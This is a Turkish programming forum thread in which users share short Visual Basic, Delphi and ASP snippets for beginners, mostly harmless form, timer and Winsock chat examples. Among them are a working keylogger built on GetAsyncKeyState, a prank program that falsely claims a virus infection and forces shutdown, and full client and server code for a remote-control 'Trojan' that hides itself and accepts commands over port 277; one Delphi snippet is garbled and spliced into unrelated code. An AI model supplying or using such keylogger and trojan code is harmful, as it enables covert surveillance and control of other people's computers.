visual basic e yeni başlayanlar için küçük program arşivi

MaXXSoFT

New member
Katılım
28 Haz 2005
Mesajlar
1,569
Reaction score
0
Puanları
0
Yaş
36
Konum
Ankara-Aydın
Formu Yakıp söndürme .

Private Sub Timer1_Timer()
If Me.Visible = True Then
Me.Visible = False
Else
Me.Visible = True
End If
End Sub

Private Sub Command1_Click()
' That value for duration 1000 = 1 second
Timer1.Interval = 1000
End Sub
 
Kullanicinin Seçeçeği Bir Avi Dosyasini çalacak Program

KULLANICININ SEÇEÇEĞİ BİR AVI DOSYASINI ÇALACAK PROGRAM

Private Sub Check1_Click()
Animation1.AutoPlay = Check1.value
End Sub

Private sub Command1_click()
On Local error GoTo hata
Commanddialog1.filter= “avi (*.avi)│* .avi”
CommonDialog1.Showopen
Animation1.open CommonDialog1.FileName
Exit sub
Hata:
MsgBox (“Bu dosya türü desteklenmiyor”)
Exit sub
End sub

Private sub command2_click()
On local error resume next
Animation1.Play
End sub
Private sub command3_click()
On local error resume next
Animation1.stop
End sub
Private sub command4_click()
On local error resume next
Animation1.close
End sub

Formumuza 1 adet animation kontrolü , 1 adet commonDialog kontrolü ,checkbox, 4 adet commond buton kontrolleri yerleştirelim
 
2 Tarih arasındaki gün sayısını bulan basit bir örnek !

Öncelikle Forma 3 Adet Textbox ve 1 Adet Buton Ekleyelim; Daha Sonra aşağıdaki Kodu Butonun İçerisine Aynen Yapıştıralım.


Private Sub Command1_Click()
Dim tfark As Long 'Tarihler Arası Fark Değişkeni
Dim tt1 As Date 'Tarih 1 Değişkeni
Dim tt2 As Date 'Tarih 2 Değişkeni


tt1 = Text1.Text 'tt1 Değişkenine Textbox'ın içeriği Atanıyor
tt2 = Text2.Text 'tt2 Değişkenine Textbox'ın içeriği Atanıyor
tfark = tt1 - tt2 'Çıkarma İşlemi Yapıldı
Text3.Text = tfark ' Sonuç Textbox'a Atanıyor
End Sub
 
Otomatik kapatma programı .

text1=saniye
text2=dakika
command1=basla

bir tanede timer ekleyin otomatik kapama programınız hazır...

Dim a, b As Integer
Private Sub Baslat_Click()
a = saniye.Text
b = dakika.Text
Timer1.Enabled = True
Timer1.Interval = 1000
End Sub

Private Sub Timer1_Timer()
a = a - 1
If a = 0 Then b = b - 1
If b = 0 Then Shell "C:\Windows\Rundll32.exe User,ExitWindows"
End Sub

burada sadece dakika ve saniye var isterseniz saat te yerleştirebilirsiniz !
 
Gün isimleri.

arkadaşlar ben form üzerine yazıyorum bu kodları siz değiştirebilirsiniz mesela label ekleyip gün isimlerini labele yazdırabilirsiniz.

' şimdi gün isimleriyle başlayalım

'Formun load bölümüne

Private sub form_load
dim i
show
fontbold = true ' yazı tipimizi kalınlaştırıyoruz
print " Günler" 'print komutu ekrana günleri yazdıracak
fontbold = false 'ekran isimleri kalın yazılmayacak
for i = 1 to 7 '1 hafta 7 gün olduğu için 7 tane gün ismi oluşturuluyor
print WeekdayName (i, False, 0)
next
end sub
 
Windows Startup klasörüne konan programlar, windowsun baslamasi ile birlikte çalismaya baslarlar. Fakat bunu program içerisinden yapmak istiyorsaniz, veya programiniz, bir kereye mahsus baslangiçta çalissin istiyorsaniz,asagidaki fonksiyonu kullanarak geçici veya kalici olarak gerekeni yapabilirsiniz

procedure RunOnStartup( sProgTitle, sCmdLine : string; bRunOnce : boolean );
var
sKey : string;
reg : TRegIniFile;
begin
if( bRunOnce )then
sKey := 'Once'
else
sKey := "inda ise bir mesaj gösterilmektedir.

unit surpriz;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs;

type
Tst=array[1..4] of string;

const
strings:Tst= ('merhaba','güle güle','sürüm','sürpriz');


type
TForm1 = class(TForm)
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
s:string;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var
i:integer;
tamam:integer;
begin
if (shift=[ssalt]) and (key>=$41) and (key<=$5A) then
begin
s:=s+chr(key);
tamam:=0;

for i:=1 to 4 do
begin
if (s=copy(strings<i>,1,length(s))) then Tamam:=-i;
if (s=strings<i>) then Tamam:=i;
end;

if Tamam=0 then s:=";
if Tamam>0 then showmessage(strings[Tamam]);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
S:=";
end;

end.
 
güzel iş bakalım olacakmi :p
 
Basit bi keylogger Programı

Private Sub Form_Load()
Timer1.Enabled = True ' VB de thread kullanamyyaca?ymyz için ona benzer olarak
' yada yakyn olarak Timer objesini kullanyyoruz.
' Bunun içinde Timer1 i açyly?ta Enable ediyoruz.
End Sub

Private Sub Timer1_Timer()
CheckKeys ' Tu?lary yakalayyp belirleyen yordam
End Sub

Private Sub CheckKeys()
Dim keyResult As String ' Döngü içerisinde iken kullanylacak geçici de?i?ken
Dim keyIndex As Long
For keyIndex = 1 To 255 ' Toplam 255 adet tu? oldu?u için 1 den 255 e kadar
' For-Next ile dönece?iz.
keyResult = 0 ' Önce keyResult y syfyrlayalym,
keyResult = GetAsyncKeyState(keyIndex) ' Syradaki tu?un durumunu ö?renelim,
If keyResult = -32767 Then 'Tu? basyly ise geriye -32767 dönecektir.
Call Windows_OnKeyPress(keyIndex, GetShift, GetCtrl, GetAlt) ' Event' y simule etmek için tu?un
' de?erini Sub' a geçirelim.
End If
Next keyIndex
End Sub

Private Sub Windows_OnKeyPress(ByVal KeyAscii As Long, Shift As Integer, Ctrl As Integer, Alt As Integer) ' Tu? Yakalamada Event'y
' Simule etmek için kullanylacak
' Sub
Text1 = Text1 & Chr(KeyAscii) & Shift
End Sub

Private Function GetCapsLock() As Boolean
GetCapsLock = CBool(GetKeyState(vbKeyCapital) And 1) ' API ye Capslock tu?unu sorgulayalym
End Function

Private Function GetShift() As Long
ax = GetAsyncKeyState(vbKeyShift) ' API ye Shift tu?unu sorgulayalym
If ax = -32768 Then GetShift = 1 ' E?er basyly ise 1 döndür
End Function

Private Function GetCtrl() As Long
ax = GetAsyncKeyState(vbKeyControl) ' API ye Ctrl tu?unu sorgulayalym
If ax = -32768 Then GetCtrl = 1 ' E?er basyly ise 1 döndür
End Function

Private Function GetAlt() As Long
ax = GetAsyncKeyState(vbKeyMenu) ' API ye Alt tu?unu sorgulayalym
If ax = -32768 Then GetAlt = 1 ' E?er basyly ise 1 döndür
End Function
 
küçük bir şaka programı
bu programla arkadaşlarınızı gerçekten korkutabilirsiniz

Private Const EWX_SHUTDOWN = 1
Private Const EWX_FORCE = 4
Private Const EWX_REBOOT = 2
Private Const EWX_LOGOFF = 0
Private Sub form_load()
MsgBox "hahahahahahaa Bilgisayarına VİRÜS Bulaşıyor!!!"
End Sub
Private Sub form_Terminate()
kapat = ExitWindowsEx(EWX_SHUTDOWN, 1)
If kapat = True Then
Else
MsgBox ("Hata Oluştu")
End if

End Sub
 
Asp İle Mail Gönderme !

<%
On Error Resume Next
Select Case emailturu

Case "cdonts"

Set Email = Server.Createobject("CDONTS.NewMail")
Email.From = kimdene
Email.To = kimee
Email.Subject = konu
Email.Body = (MesajBody)
Email.Send
Set Email = Nothing

Case "aspemail"

Set Email = CreateObject("Persits.MailSender")
Email.From = kimdene
Email.FromName = kimden
Email.Host = email_server
Email.AddAddress kimee
Email.Subject = konu
Email.Body = MesajBody
Email.Send
Set Email = Nothing

Case "jmail"

Set Email = Server.CreateObject("JMail.Message")
Email.ContentType = "text/html"
Email.Charset = "ISO-8859-9"
Email.From = kimdene
Email.FromName = kimden
Email.ServerAddress = email_server
Email.MailServerUserName = email_kullaniciadi
Email.MailServerPassWord = email_sifre
Email.AddRecipient kimee
Email.Subject = konu
Email.Body = MesajBody
Email.Send (email_server)
Set Email = Nothing

Case "aspmail"

Set Email = Server.CreateObject("SMTPsvg.Mailer")
Email.FromName = kimden
Email.FromAddress = kimdene
Email.RemoteHost = email_server
Email.AddRecipient kimee
Email.Subject = konu
Email.BodyText = MesajBody
Gonder = Email.SendMail

Case "bamboo"

Set Email = Server.CreateObject("Bamboo.SMTP")
Email.Server = email_server
Email.Rcpt = kimee
Email.From = kimdene
Email.FromName = kimden
Email.Subject = konu
Email.Message = MesajBody
Email.Send
Set Email = Nothing

Case "ocxmail"
Set Email = Server.CreateObject("ASPMail.ASPMailCtrl.1")
SendEmail = Email.SendMail(email_server, kimee, kimden, konu, MesajBody)
Set Email = Nothing

End Select
%>
 
Sürücü Tipini Bulan Program!

Formunuza bir tane command button ekleyin ve aşağıdakini copy-paste yapın.
Artık bilgisayarınızdaki sürücü tiplerini öğrenebilirsiniz.

Option Explicit

Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private Const DRIVE_REMOVABLE = 2

Private Const DRIVE_FIXED = 3

Private Const DRIVE_REMOTE = 4

Private Const DRIVE_CDROM = 5

Private Const DRIVE_RAMDISK = 6

Private Sub Command1_Click()
Dim i, drv, d$

For i = 0 To 25

d$ = Chr$(i + 65) & ":"

drv = GetDriveType(d$)

Select Case drv

Case DRIVE_REMOVABLE

Print d$ & " Disket Sürücü"

Case DRIVE_FIXED

Print d$ & " Sabit Disk"

Case DRIVE_REMOTE

Print d$ & " Ağ Sürücüsü"

Case DRIVE_CDROM

Print d$ & " CD_ROM Sürücü"

Case DRIVE_RAMDISK

Print d$ & " Ram Disk"

End Select

Next i

End Sub
 
Formunuza şekil kazandırıp mavi başlıktan kurtulmak için hazırlanmış genel anlamda bilinen bir kod. Releasecapture ve sendmessage apilerinede örnek bir kod.

Bu kısmı module yerleştirin. Yada public başlıklarını private oalrak değitirerek generals bölümüne yapıştırabilirsiniz
Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub ReleaseCapture Lib "User32" ()
Public Const WM_NCLBUTTONDOWN = &HA1
Public Const HTCAPTION = 2

'Direk forma geçicek bölüm.
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Call ReleaseCapture
Call SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, vbNull)
End Sub
 
Mouse den kaçan butonumuz..Çok basit ama yeni başlayanlar için if döngüsünü anlamaları iiçin ideal....

Formumuza bir adet buton ekliyoruz. ve aşağıdaki kodu formumuza aynen yapıştırıyoruz...
Sub mouse_geldi(Button As CommandButton)
If Button.Left = 100 And Button.Top = 100 Then
Button.Left = 100
Button.Top = 2500
ElseIf Button.Left = 100 And Button.Top = 2500 Then
Button.Left = 2500
Button.Top = 2500
ElseIf Button.Left = 2500 And Button.Top = 2500 Then
Button.Left = 2500
Button.Top = 100
ElseIf Button.Left = 2500 And Button.Top = 100 Then
Button.Left = Screen.TwipsPerPixelX / 2
Button.Top = Screen.TwipsPerPixelY / 2
Else
Button.Left = 100
Button.Top = 100
End If

End Sub

Private Sub Command1_Click()
MsgBox "niye entere yada spacebar a basıyon ?" & vbCrLf & "Sıkıysa mouseyle bassana..Hahahah", vbInformation + vbOKOnly, "DAGARSLAN YAZILIM"

End Sub

Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
mouse_geldi Command1
Form1.SetFocus
End Sub

Private Sub Form_Load()
me.scalemode=1
Command1.left=165
command1.top=135
Me.BorderStyle = 1
Me.Caption = "DAGARSLAN EĞLENCELİK :D"
Me.Width = 4000
Me.Height = 3900
End Sub
 
Bu basit API ILE Windows elinizde masa üstünüz icin birebir.

Option Explicit
'API Kullanici tanitma
Private Declare Function GetUserName Lib "advapi32.dll" _
Alias "GetUserNameA" (ByVal lpBuffer As String, _
nSize As Long) As Long

Private Declare Function GetLastError Lib "kernel32" () _
As Long

Private Declare Function FormatMessage Lib "kernel32" _
Alias "FormatMessageA" (ByVal dwFlags As Long, _
lpSource As Any, ByVal dwMessageId As Long, ByVal _
dwLanguageId As Long, ByVal lpBuffer As String, _
ByVal nSize As Long, Arguments As Long) As Long

'API windows u kapama
Private Declare Function ExitWindows Lib "User32" Alias _
"ExitWindowsEx" (ByVal dwOptions As Long, ByVal _
dwReserved As Long) As Long

Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2

Private Sub Form_Load()
Dim User$
User = Chr$(34) & User_Name & Chr$(34)
If Len(User) > 2 Then Option1.Caption = User & " Cikis"
End Sub

Private Function User_Name() As String
Dim L&,Sonuc&,Hata&
Dim User$, Puffer$

'Kullanici ismine erisim
User = Space(255)
L = 255
Ergebnis = GetUserName(User, L)

If Ergebnis <> 0 Then
User_Name = Left$(User, L - 1)
Else
User_Name = ""
End If
End Function


Private Sub Command1_Click()
If Option1.Value Then
'Kullanici degistirme
ExitWindows EWX_LOGOFF, &HFFFF
Unload Me
ElseIf Option2.Value Then
'Yeniden baslatma
ExitWindows EWX_REBOOT, &HFFFF
Else
'Kapatma
ExitWindows EWX_SHUTDOWN, &HFFFF
End If
End Sub

Private Sub Command2_Click()
MsgBox "Neden simdi ?"
Unload Me
End Sub

Private Sub Command3_Click()
MsgBox "Artik yardimci olamam !"
Unload Me
End Sub
 
WAV Dosyası Eklemek !

Private Sub Command1_Click()
sndPlaySound "ringin.wav", 0
End Sub

Private Sub form_load()


'windows içerisinde bulunan herhangi bir wav dosyası

sndPlaySound "ringin.wav", 5
End Sub
 
Visual basicde Winsock Kullanarak İnternette Ağ üzerinde(LAN) hatta aynı makine üzerinde chat Yapabilirsiniz. "

Merhaba Arkadaşlar Size Winsock Kullanımı Hakkında bilgi vericem.

Öncelikle Bir form oluşturun
Üzerine 3 Adet TextBox yerleştirin

1.TextBox Adı:Text1 (Buraya IP Adresi girilecek)
2.TextBox Adı:TGelen (Buraya Karşıdan gelen mesajlar gelecek)
MultiLine özelliğini True yapın.
3.TextBox Adı:TGiden (Burası Sizin Yazacağınız mesajlar kısmıdır.)
MultiLine özelliği False olarak kalsın.

Daha Sonra 1 Adet Label Ekleyin (Adı: Label1)
Bu Bağlantı durumu hakkında size bilgi verecektir.

Sonra 2 Adet Commad Buton Ekleyin.
1. Butonun Name Kısmına: Baglan yazın (Caption: BAĞLAN)
2. Butonun Name Kısmına: BaglantiBekle yazın (Caption: BAĞLANTI BEKLE)


Sonra 2 Adet Winsock Ekleyin.
(Nasıl Eklerim: Project / Component i seçerek ekrana çıkan pencereden Microsoft Winsock Control 6.0 (SP6) işaretleyip Tamam tuşuna basın daha sonra artık Winsock sol taraftaki listeye eklenmiş olacaktır. )



DAHA SONRA AŞAĞIDAKİ KOD SATIRINI FORMUNUZUN KOD SATIRINA OLDUĞU GİBİ EKLEYİN.

'KOD BAŞLANGICI
Option Explicit
Dim enter

Private Sub Baglan_Click()
On Error GoTo HataHaluk_mrdos
Winsock2.RemoteHost = Text1
Winsock2.RemotePort = 1024
Winsock2.Connect
Exit Sub
HataHaluk_mrdos:

MsgBox "İKİNCİ KERE BAĞLAN TUŞUNA BASTINIZ LÜTFEN PROGRAMI YENİDEN ÇALIŞTIRIN..."
End
End Sub

Private Sub BaglantiBekle_Click()
If Winsock1.State = 2 Then
Winsock1.Close
BaglantiBekle.Caption = "BAĞLANTIYI BEKLE"
Else
Winsock1.LocalPort = 1024
Winsock1.Listen
BaglantiBekle.Caption = "BAĞLANTIYI KES"
End If

End Sub

Private Sub Form_Load()
enter = Chr(13) + Chr(10)
TGelen = ""
TGiden = ""
End Sub

Private Sub TGiden_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
If Winsock1.State = 7 Then
Winsock1.SendData TGiden.Text
TGelen = TGelen + "SİZDEN > " + TGiden + enter
TGiden = ""
End If

If Winsock2.State = 7 Then
Winsock2.SendData TGiden.Text
MsgBox TGiden.Text
TGelen = TGelen + "SİZDEN > " + TGiden + enter
End If

End If
End Sub

Private Sub Winsock1_Close()
Label1 = "BAĞLANTI KESİLDİ"
End Sub

Private Sub Winsock1_Connect()
Label1 = "BAĞLANTI SAĞLANDI"
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
End If
Winsock1.Accept requestID
Label1 = "BİR BAĞLANTI İSTEĞİ GELDİ"
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim s As String
Winsock1.GetData s
s = "Karsıdan" > "+s"
TGelen.Text = TGelen.Text + s + enter
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "Şuganda Hata Oluştu"
End Sub

Private Sub Winsock2_Connect()
Label1 = "BAĞLANTI SAĞLANDI"
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim s As String
Winsock2.GetData s
s = "Karsıdan > " + s
TGelen.Text = TGelen.Text + s + enter
End Sub

Private Sub Winsock2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Label1 = "BAĞLANTI KESİLDİ"
End Sub
'KOD BİTİŞİ






ŞİMDİ KULLANIMINI ANLATAYIM:

File / Make Prpjet1.exe kısmından programı derleyin.
1. Bu dosyayı internet üzerinden
2. Ağ üzerinden veya
3. Aynı makineden çalıştırabilirsiniz.

Kendi makinenizde çalıştırmak için
programı 2 kere çalıştırın.
1. programda BAĞLANTI BEKLE Command butonuna basın
2. Programda ise Text1 e makinenizin IP adresini girin ve BAĞLAN tuşuna basın.
Ve artık iki prpgram arasında mesaj alıp gönderebilirsiniz...
 
Arkadaşlar Bir tane Trojan yapalım makinayı felç edelim :p :D!

Command 1 Bağlanmak için
Command 2 Cdromu açmak için
Command 3 Cdromu kapatmak için
Command 4 Başlat çubuğunu Göster
Command 5 Masaüstünü Sakla
Command 6 Masaüstünü Göster
Command 7 Başlat Çubuğunu Sakla
Command 8 Mouse Sağ el hakim olsun
Command 9 Mouse Sol el Sahip olsun
Command 10 Mesaj Yollama
Text 3 Mesaj metni
Text1 ip Yazılacak kısım
Tex4 Bağlantı Göstergesi
JohnSysinfo eklemeyi de unutmayın servera bu da önemli cdRomu açamazsınız yoksa
Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayın
Neyse benden bu kadar ilk konularda burdan yardım aldım şimdi
buraya Minnetimi ödiyim ben ,saolun hepiniz
Client
===============
Private Sub Command1_Click()
Winsock.Close
Winsock.Connect Text1.Text, 277


End Sub

Private Sub Command10_Click()
Winsock.SendData "Message= Text3.text"
DoEvents
End Sub

Private Sub Command2_Click()
Winsock.SendData "Cdopen"
DoEvents
End Sub
Private Sub Command3_Click()
Winsock.SendData "Cdclose"
DoEvents
End Sub
Private Sub Command4_Click()
Winsock.SendData "showtask"
DoEvents
End Sub
Private Sub Command5_Click()
Winsock.SendData "hidesk"
DoEvents
End Sub
Private Sub Command6_Click()
Winsock.SendData "showdesk"
DoEvents
End Sub

Private Sub Command7_click()
Winsock.SendData "hidetask"
DoEvents
End Sub
Private Sub Command8_Click()
Winsock.SendData "getmouse"
DoEvents
End Sub
Private Sub Command9_Click()
Winsock.SendData "leavemouse"
DoEvents
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Text4.Text = Winsock.State
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock.Close
End
End Sub
Private Sub winsock_connect()
Text4.Text = "Connected!"
Form1.Caption = "RedFrog Trojan Connected"
Command1.Caption = "Connect New"
End Sub
=================================0
Server
=================================0
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd _
As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _
ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal _
wFlags As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40

Private Sub Form_load()
server.LocalPort = 277
server.Listen
Me.Hide

End Sub
Private Sub server_connectionrequest(ByVal requestid As Long)
server.Close
server.Accept requestid
End Sub

Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim tmpData As String
server.GetData tmpData
Select Case tmpData
Case "Cdclose"
JohnSysInfo1.CDRomDoor = False

Case "Cdopen"
JohnSysInfo1.CDRomDoor = True
Case "showtask"

Timer1.Enabled = True
Timer1.Interval = 10
Timer2.Enabled = False

Case "hidetask"
Timer2.Enabled = True
Timer2.Interval = 10
Timer1.Enabled = False
Case "hidedesk"
Timer3.Enabled = True
Timer3.Interval = 10
Timer4.Enabled = False
Case "showdesk"
Timer3.Enabled = False
Timer4.Enabled = True
Timer4.Interval = 10
Case "getmouse"
JohnSysInfo1.UseLeftHandMouse = False

Case "leavemouse"
JohnSysInfo1.UseLeftHandMouse = True



End Select
End Sub

Private Sub timer1_timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub

Private Sub timer2_Timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub


Private Sub timer4_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5

End Sub

Private Sub timer3_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
End Sub
 
Paint :p Çizgi Çiz !

kullanılanlar:
'optionButton((1)-çizgi çiz isimli-index 0 olacak),timer(1)


Private Sub Form_Load()
Timer1.Interval = 100
Timer1.Enabled = False
End Sub

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Option1(0).Value = True Then 'cizgi işaretli ise
Line (X, Y)-(X, Y) 'tıklanan noktaya bir çizgi koy
End If
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 1 Then 'sol tus basılı ıse
If Option1(0).Value = True Then
Line -(X, Y)
End If
End If
End Sub
 
textbox içindeki yazıyı kalın,italik,altı çizili yazmanızı sağlar

kullanılanlar:
'checkbox((3)-style özelliği 1-graphical olarak ayarlandı),textbox(1)

Private Sub Check1_Click()
Text1.FontBold = Check1.Value
End Sub

Private Sub Check2_Click()
Text1.FontItalic = Check2.Value
End Sub

Private Sub Check3_Click()
Text1.FontUnderline = Check3.Value
End Sub
 
Geri
Üst